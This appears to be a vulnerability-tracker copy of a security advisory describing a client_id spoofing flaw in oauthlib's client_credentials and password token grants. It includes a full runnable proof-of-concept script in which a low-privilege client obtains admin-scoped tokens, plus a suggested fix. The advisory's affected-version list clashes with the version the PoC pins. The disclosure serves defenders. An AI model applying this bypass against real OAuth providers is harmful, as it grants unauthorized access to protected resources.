All security reports
OSV security advisoryHigh

High advisory for oauthlib

GHSA-7984-qgvg-3j9c · Reported 30 Oct 2026

Full advisory details, affected packages, severity context, and original source.

Affected technology

oauthlibAffected product

Advisory overview

## Summary OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body. In affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`. As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's `client_id` in the token request body, and cause grant and scope validation to run under that other client identity. ## Affected Surface The affected public surface is the OAuth2 token endpoint handling for: - `client_credentials` - `password` / Resource Owner Password Credentials The issue is relevant to OAuthlib provider deployments where: - the attacker has credentials for one valid lower-privilege confidential client; - another client has broader grants or scopes; - the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support. Deployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected. ## Details `Request` parses query and body parameters into request attributes, including `client_id`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397 The `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66 For the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119 The problematic order is: ```python if not self.request_validator.authenticate_client(request): ... elif not hasattr(request.client, 'client_id'): ... self.validate_grant_type(request) request.client_id = request.client_id or request.client.client_id self.validate_scopes(request) ``` Because OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == "low"`. The shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately: - `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162 - `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176 The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`: - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97 - https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195 This creates an inconsistent identity state: ```text request.client.client_id == "low" # authenticated client request.client_id == "high" # attacker-supplied request parameter ``` OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument. ## Impact An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the `RequestValidator` API and authorizes by the `client_id` argument. Concrete impact can include: - issuing access tokens with scopes not assigned to the authenticated client; - allowing a low-privilege client to use a grant type reserved for a higher-privilege client; - persisting tokens under a spoofed `client_id` while the authenticated client object is different. This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client. ## PoC Create the following files in an empty directory. `requirements.txt`: ```text oauthlib==3.3.1 ``` `repro.py`: ```python import base64 import json from oauthlib.oauth2 import ( BearerToken, ClientCredentialsGrant, RequestValidator, ResourceOwnerPasswordCredentialsGrant, TokenEndpoint, ) class Client: def __init__(self, client_id): self.client_id = client_id CLIENTS = { "low": { "secret": "low-secret", "grants": {"client_credentials", "password"}, "scopes": {"read"}, }, "high": { "secret": "high-secret", "grants": {"client_credentials", "password"}, "scopes": {"read", "admin"}, }, } class DemoValidator(RequestValidator): def __init__(self): self.saved_tokens = [] def authenticate_client(self, request, *args, **kwargs): authorization = request.headers.get("Authorization", "") prefix = "Basic " if not authorization.startswith(prefix): return False decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8") client_id, secret = decoded.split(":", 1) record = CLIENTS.get(client_id) if record is None or record["secret"] != secret: return False # This is the authenticated client identity. request.client = Client(client_id) return True def client_authentication_required(self, request, *args, **kwargs): return True def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs): record = CLIENTS.get(client_id) return record is not None and grant_type in record["grants"] def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs): record = CLIENTS.get(client_id) return record is not None and set(scopes or []) <= record["scopes"] def get_default_scopes(self, client_id, request, *args, **kwargs): return [] def validate_user(self, username, password, client, request, *args, **kwargs): if username == "alice" and password == "wonderland": request.user = username return True return False def save_bearer_token(self, token, request, *args, **kwargs): self.saved_tokens.append({ "token": dict(token), "authenticated_client_id": request.client.client_id, "request_client_id": request.client_id, "scopes": list(request.scopes or []), }) validator = DemoValidator() token = BearerToken(validator, expires_in=3600) endpoint = TokenEndpoint( default_grant_type="client_credentials", default_token_type=token, grant_types={ "client_credentials": ClientCredentialsGrant(validator), "password": ResourceOwnerPasswordCredentialsGrant(validator), }, ) def low_client_headers(): value = base64.b64encode(b"low:low-secret").decode("ascii") return {"Authorization": f"Basic {value}"} def token_request(body): _headers, response_body, status = endpoint.create_token_response( "https://auth.example/token", body=body, headers=low_client_headers(), ) return status, json.loads(response_body) def assert_rejected(label, body): status, response = token_request(body) print(label, status, response) if status == 200: raise SystemExit(f"{label}: expected rejection, got success") def assert_spoofed_success(label, body): status, response = token_request(body) print(label, status, response) if status != 200: raise SystemExit(f"{label}: expected token, got {status} {response}") if response.get("scope") != "admin": raise SystemExit(f"{label}: expected admin scope, got {response}") saved = validator.saved_tokens[-1] if saved["authenticated_client_id"] != "low": raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}") if saved["request_client_id"] != "high": raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}") assert_rejected( "control client_credentials as low requesting admin", "grant_type=client_credentials&client_id=low&scope=admin", ) assert_spoofed_success( "spoofed client_credentials as low with client_id=high", "grant_type=client_credentials&client_id=high&scope=admin", ) assert_rejected( "control password as low requesting admin", "grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin", ) assert_spoofed_success( "spoofed password as low with client_id=high", "grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin", ) print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED") print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True)) ``` Run: ```bash python -m venv .venv . .venv/bin/activate python -m pip install -r requirements.txt python repro.py ``` Expected result: ```text control client_credentials as low requesting admin 400 {'error': 'invalid_scope'} spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'} control password as low requesting admin 400 {'error': 'invalid_scope'} spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'} OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED ``` The success condition is that both successful token responses are produced while the saved token state shows: ```json { "authenticated_client_id": "low", "request_client_id": "high", "scopes": ["admin"] } ``` That demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`. ## Suggested Remediation After client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`. For authenticated confidential-client flows, a safer invariant is: ```python if request.client is not None: if request.client_id is not None and request.client_id != request.client.client_id: raise InvalidClientError(...) request.client_id = request.client.client_id ``` This should happen before `validate_grant_type()` and `validate_scopes()` are called. Reporters: - [email protected] (Liyi), https://lzhou1110.github.io/ - [email protected] (Ziyue), https://zyy0530.github.io/ - [email protected] (Strick), https://str1ckl4nd.github.io/ - [email protected] (Maurice), http://maurice.busystar.org/ - [email protected] (Chenchen), https://7thparkk.github.io/

Affected packages and releases

PyPI / oauthlib

0.0.1, 0.0.2, 0.1.0, 0.1.1, 0.1.2, 0.1.3, 0.3.0, 0.3.2

Also known as

CVE-2026-118669

Related references

Your vulnerabilities. One clear dashboard.

Find and review known vulnerabilities across your applications and infrastructure in one dashboard, so your team can see what needs attention and take action to fix it.

Create your account